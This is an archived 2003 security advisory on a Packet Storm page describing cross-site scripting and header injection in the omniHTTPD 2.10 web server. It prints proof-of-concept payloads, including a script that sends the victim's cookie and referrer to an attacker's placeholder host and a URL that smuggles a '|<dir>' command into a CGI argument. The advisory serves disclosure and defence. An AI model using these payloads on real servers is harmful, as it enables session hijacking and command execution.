exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

omniHTTPD2.10xss.txt

omniHTTPD2.10xss.txt
Posted Jul 18, 2003
Authored by Dr. Insane | Site members.lycos.co.uk

omniHTTPD 2.10 suffers from cross site scripting vulnerabilities that could lead to session hijacking.

tags | advisory, vulnerability, xss
SHA-256 | 52b5848c269b6da5f3724ecbe6e5ea940b8b8a3fbcfd5bff25bae930f4ebc792

omniHTTPD2.10xss.txt

Change Mirror Download
omniHTTPD 2.10 cross-site scripting

Release Date:
17.07.2003

Severity:
Medium (Session hijacking/possible compromise)


Platforms Affected:

omniHTTPD 2.10
Windows 2000 Any version
Windows NT Any version
Windows XP
Windows 9x
Windows Me


Description:

OmniHTTPd is a powerful all-purpose industry compliant web server built specifically for the Windows 95/98/NT4 platform. In addition to Standard CGI support, the server sports advanced features such as Keep-Alive connections, table auto-indexing and server-side includes. For maximum performance, OmniHTTPd is both 32-bit and multi-threaded. Many users agree that OmniHTTPd is the fastest and most compact web server available for the Windows platform.

A remote attacker could embed malicious script within a URL to one of the services, which would be executed in the victim's Web browser once the URL is clicked


Technical Description/Exploit:

This vulnerability could enable an attacker to hijack web sessions, allowing a range of potential compromises on the targeted host.
The Location header sent by the server contains the URL initially requested, but with %xx decoded to ASCII values. Embedding %0D, %0A, and %20 codes into the URL is allowed, meaning HTTP headers can be added.The vulnerability occurs because omniHTTPD doesn't filter maliciously malformed headers containing HTML markup before passing them onto the browser as entity data.

The following URLs will demonstrate the attack:

(1)

<script>window.location="/cgi-bin/minimal.pl?|<dir>%00";</script>

In our example we will play with the above command using the file:
/cgi-win/test-win.exe

The url will be something like this:
/cgi-win/test-win.exe?<script>window.location="/cgi-bin/minimal.pl?|<dir>%00";</script>
This will call the file minimal.pl in cgi-bin....

(2)
http://[target]/cgi-bin/minimal.pl?<img src="http://www.hack.gr/images/gears.jpg" onerror="alert(document.cookie)">

(3)
<script> window.open('http://host/cgi-bin/evilSCRIPT.pl?'+document.referrer +'%20'+document.cookie);</script>

(4)
http://[target]/cgi-win/test-win.exe?<script>alert("p0wned!")</script>

Cross-site scripting vulnerabilities are often assumed to be small, useless exposures that aren't worth much attention. This is a false assumption -- depending on the applications installed, a successful privilege escalation via XSS can result in complete compromise of a web server, or other sensitive systems.


Vendor Status:
Vendor informed but I got no response yet

Patch:
At the moment remove all the sample file.

Credit:
dr_insane

Disclaimer:
The author(s) does(do) not have any responsibility for any malicious
use of this advisory or proof of concept code. The code and the
information provided here are for educational purposes only.
The author(s) will NOT be held responsible for any direct or
indirect damages caused by the information or the code
provided here.


dr_insane
dr_insane@pathfinder.gr
http://members.lycos.co.uk/r34ct/

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close